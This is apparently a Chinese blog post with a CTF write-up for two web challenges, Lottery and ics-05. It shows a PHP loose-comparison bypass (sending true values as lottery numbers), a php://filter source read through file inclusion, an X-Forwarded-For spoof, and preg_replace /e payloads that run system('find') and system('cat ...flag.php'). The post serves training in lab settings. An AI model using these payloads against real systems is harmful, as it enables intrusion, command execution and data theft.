跳到主要内容
极客日志极客日志面向AI+效率的开发者社区
首页博客GitHub 精选镜像工具UI配色美学隐私政策关于联系
搜索内容 / 工具 / 仓库 / 镜像...⌘K搜索
注册
博客列表
PHP算法

攻防世界 Web 题解:Lottery 与 ics-05 漏洞分析

攻防世界 Web 安全挑战包含 Lottery 和 ics-05 两道题目。Lottery 利用 PHP 弱类型比较漏洞,通过传入布尔值 true 绕过数字比对获取奖金。ics-05 结合文件包含与伪协议读取源码,利用 IP 白名单及 preg_replace 函数/e 修饰符特性执行系统命令获取 Flag。

ArchDesign发布于 2026/4/10更新于 2026/5/2212 浏览
攻防世界 Web 题解:Lottery 与 ics-05 漏洞分析

文章配图


一:Lottery

打开后发现这个靶场加载异常缓慢,然后提供了源码。我们先不看源码先熟悉一下这个网站的功能。

这应该是一个类似猜数字游戏,选对 7 个号码即可得到相应奖励。

文章配图

注册后随便输入 7 个数字发现一个也没中,浪费 2 元。

文章配图

文章配图

点击网站功能发现如果想要 flag 需要有相对应的余额。

文章配图

尝试思路是利用 BP 抓包看看能不能修改我们的余额。

文章配图

好像成功了,试一试能不能换 flag。

文章配图

居然说没有足够的钱,这个方法不行。只要将页面上的数字修改,刷新就会变回原来的余额。

文章配图

既然不能修改余额,那就看看在猜数字的页面有没有突破口。发现其访问了 api.php,继续代码审计。

看到如下核心代码,首先随机生成七位数字(random_win_nums)然后将其赋值给$win_number。随后关键点就是他使用的是两个等号来判断我们传入的数字和随机生成的数字,既然这样那直接可以利用 true 绕过,因为不检查类型。

文章配图

代码如下

//部分代码
function random_num(){ 
    do { 
        $byte = openssl_random_pseudo_bytes(10, $cstrong); 
        $num = ord($byte); 
    } while ($num >= 250); 
    if(!$cstrong){ response_error('server need be checked, tell admin'); } 
    $num /= 25; 
    return strval(floor($num)); 
} 

function random_win_nums(){ 
    $result = ''; 
    for($i=0; $i<7; $i++){ 
        $result .= random_num(); 
    } 
    return $result; 
} 

function buy($req){ 
    require_registered(); 
    require_min_money(2); 
    $money = $_SESSION['money']; 
    $numbers = $req['numbers']; 
    $win_numbers = random_win_nums(); 
    $same_count = 0; 
    for($i=0; $i<7; $i++){ 
        if($numbers[$i] == $win_numbers[$i]){ 
            $same_count++; 
        } 
    } 
    switch ($same_count) { 
        case 2: $prize = 5; break; 
        case 3: $prize = 20; break; 
        case 4: $prize = 300; break; 
        case 5: $prize = 1800; break; 
        case 6: $prize = 200000; break; 
        case 7: $prize = 5000000; break; 
        default: $prize = 0; break; 
    } 
    $money += $prize - 2; 
    $_SESSION['money'] = $money; 
    response(['status'=>'ok','numbers'=>$numbers, 'win_numbers'=>$win_numbers, 'money'=>$money, 'prize'=>$prize]); 
} 

抓到其流量包我们拦截回应包修改。

文章配图

利用 PHP 的弱类型比较。

直接将 numbers 字段改为 [true,true,true,true,true,true,true]

成功利用弱类型得到奖金。

文章配图

成功拿到 flag。

文章配图


二:ics-05

打开如下所示。

文章配图

随便点击发现只有此页面可打开,但是好像什么都没有,我们打开页面源代码查看一下。

文章配图

发现一个 href 可点。

文章配图

打开如下,好像没什么特别的。

文章配图

我们修改其为 index.php 回显 ok,既然这样那么如果我们能够读取到这个 index.php 应该就可以拿到 flag。

读取文件使用伪协议。

php://filter/read=convert.base64-encode/resource=index.php

复制这个 base64 然后解密。

文章配图

打开代码后观察如下代码。

如果 ip 为 127.0.0.1 就是 admin,然后还有一个 preg_replace 方法,pattern 第一个参数的结尾包含了/e 修正符的话,第二个参数就会被当做 php 代码执行。

文章配图

打开 bp,修改 ip 后为 admin。

文章配图

然后添加三个参数。

?pat=/heihei/e&rep=system('find+-name+ flag ')&sub=heihei

需要使用 + 置换空格 得到 flag.php。

文章配图

成功拿到 flag 但注意 flag 不在页面渲染中显示。

?pat=/heihei/e&rep=system('cat+./s3chahahaDir/flag/flag.php')&sub=heihei

文章配图


解密后的 index.php 代码

<?php error_reporting(0); @session_start(); posix_setuid(1000); ?> <!DOCTYPE HTML> <html> <head> <meta charset="utf-8"> <meta name="renderer" content="webkit"> <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1"> <link rel="stylesheet" href="layui/css/layui.css" media="all"> <title>设备维护中心</title> <meta charset="utf-8"> </head> <body> <ul> <li><a href="?page=index">云平台设备维护中心</a></li> </ul> <fieldset> <legend>设备列表</legend> </fieldset> <table></table> <script type="text/html"> <!-- 这里的 checked 的状态只是演示 --> <input type="checkbox" name="sex" value="{{d.id}}" lay-skin="switch" lay-text="开 | 关" lay-filter="checkDemo" {{ d.id==1 0003 ? 'checked' : '' }}> </script> <script src="layui/layui.js" charset="utf-8"></script> <script> layui.use('table', function() { var table = layui.table, form = layui.form; table.render({ elem: '#test', url: '/somrthing.json', cellMinWidth: 80, cols: [ [ { type: 'numbers' }, { type: 'checkbox' }, { field: 'id', title: 'ID', width: 100, unresize: true, sort: true }, { field: 'name', title: '设备名', templet: '#nameTpl' }, { field: 'area', title: '区域' }, { field: 'status', title: '维护状态', minWidth: 120, sort: true }, { field: 'check', title: '设备开关', width: 85, templet: '#switchTpl', unresize: true } ] ], page: true }); }); </script> <script> layui.use('element', function() { var element = layui.element; //导航的 hover 效果、二级菜单等功能,需要依赖 element 模块 //监听导航点击 element.on('nav(demo)', function(elem) { //console.log(elem) layer.msg(elem.text()); }); }); </script> <?php $page = $_GET[page]; if (isset($page)) { if (ctype_alnum($page)) { ?> <br /><br /><br /><br /> <div> <p><?php echo $page; die();?></p> <br /><br /><br /><br /> <?php }else{ ?> <br /><br /><br /><br /> <div> <p> <?php if (strpos($page, 'input') > 0) { die(); } if (strpos($page, 'ta:text') > 0) { die(); } if (strpos($page, 'text') > 0) { die(); } if ($page === 'index.php') { die('Ok'); } include($page); die(); ?> </p> <br /><br /><br /><br /> <?php }} //方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试 if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') { echo "<br >Welcome My Admin ! <br >"; $pattern = $_GET[pat]; $replacement = $_GET[rep]; $subject = $_GET[sub]; if (isset($pattern) && isset($replacement) && isset($subject)) { preg_replace($pattern, $replacement, $subject); }else{ die(); } } ?> </body> </html>

三:总结

本文通过攻防世界中的两个 Web 题目(Lottery 和 ics-05)演示了如何利用代码审计和漏洞挖掘技术获取 flag。在 Lottery 题目中,通过分析网站的猜数字游戏功能,发现使用 PHP 的弱类型比较漏洞,成功绕过验证并获取奖金和 flag。在 ics-05 题目中,通过修改 IP 地址和利用 PHP 的 preg_replace 函数执行系统命令,成功读取并解密 index.php 文件,最终获取 flag。

目录

  1. 一:Lottery
  2. 二:ics-05
  3. 三:总结
  • 💰 8折买阿里云服务器限时8折了解详情
  • Magick API 一键接入全球大模型注册送1000万token查看
  • 🤖 一键搭建Deepseek满血版了解详情
  • 一键打造专属AI 智能体了解详情
极客日志微信公众号二维码

微信扫一扫,关注极客日志

微信公众号「极客日志V2」,在微信中扫描左侧二维码关注。展示文案:极客日志V2 zeeklog

更多推荐文章

查看全部
  • 2026 年 3 月 23 日人工智能产业动态
  • 3D Gaussian Splatting 动态场景应用:从 SLAM 到虚拟现实
  • GLM-4.6V-Flash-WEB 在体育赛事精彩瞬间自动剪辑中的角色
  • 字节跳动发布豆包大模型,行业价格进入厘时代
  • Android 开发者进阶:性能优化核心领域与实战方向
  • 程序员职业现状分析与稳妥兼职指南
  • 无线联邦学习:隐私保护下的 AI 协同训练
  • 12 个 AI 免费一键生成 PPT 网站推荐
  • TSDK 淘宝开放平台及登录爬虫 SDK
  • 无人机视觉任务常用数据集汇总:检测与分割资源整理
  • 基于 AIGC 与 Photoshop 的 Spine 2D 角色拆件工作流
  • 从零构建C++自动微分库:实现Dual Number与运算符重载
  • 默认安全治理实践:水平越权检测与前端安全防控
  • AI辅助开发实战:如何用AIGC LLM提升代码生成效率与质量
  • 默认安全治理实践:水平越权检测与前端安全防控
  • Monster API:零代码微调大模型平台解析
  • Transformer 核心原理:注意力机制详解与 PyTorch 实现
  • C++ 智能指针:示例、原理与适用场景
  • 大模型基础面试知识全解析:架构、训练与微调策略
  • AG-UI:构建 AI 前端交互的统一协议

相关免费在线工具

  • 加密/解密文本

    使用加密算法(如AES、TripleDES、Rabbit或RC4)加密和解密文本明文。 在线工具,加密/解密文本在线工具,online

  • Gemini 图片去水印

    基于开源反向 Alpha 混合算法去除 Gemini/Nano Banana 图片水印,支持批量处理与下载。 在线工具,Gemini 图片去水印在线工具,online

  • curl 转代码

    解析常见 curl 参数并生成 fetch、axios、PHP curl 或 Python requests 示例代码。 在线工具,curl 转代码在线工具,online

  • Base64 字符串编码/解码

    将字符串编码和解码为其 Base64 格式表示形式即可。 在线工具,Base64 字符串编码/解码在线工具,online

  • Base64 文件转换器

    将字符串、文件或图像转换为其 Base64 表示形式。 在线工具,Base64 文件转换器在线工具,online

  • Markdown转HTML

    将 Markdown(GFM)转为 HTML 片段,浏览器内 marked 解析;与 HTML转Markdown 互为补充。 在线工具,Markdown转HTML在线工具,online